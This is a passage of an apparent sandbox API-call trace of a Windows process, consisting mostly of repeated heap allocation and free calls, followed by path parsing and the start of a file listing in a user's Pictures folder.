RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.478] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.478] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.479] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.479] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.481] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.481] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.482] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.482] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.483] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2a28 | out: hHeap=0x5d0000) returned 1 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.485] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\cplLZefa0txn\\") returned="cplLZefa0txn\\" [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175418 [0068.485] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\") returned="LlZj-da3Lc0SAD\\" [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.485] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0068.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.486] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.486] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.486] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.486] PathFindFileNameW (pszPath="") returned="" [0068.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.486] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\cplLZefa0txn\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2eb6a0, ftCreationTime.dwHighDateTime=0x1d4cbf6, ftLastAccessTime.dwLowDateTime=0x8927f30, ftLastAccessTime.dwHighDateTime=0x1d4d267, ftLastWriteTime.dwLowDateTime=0x8927f30, ftLastWriteTime.dwHighDateTime=0x1d4d267, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.486] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2eb6a0, ftCreationTime.dwHighDateTime=0x1d4cbf6, ftLastAccessTime.dwLowDateTime=0x8927f30, ftLastAccessTime.dwHighDateTime=0x1d4d267, ftLastWriteTime.dwLowDateTime=0x8927f30, ftLastWriteTime.dwHighDateTime=0x1d4d267, 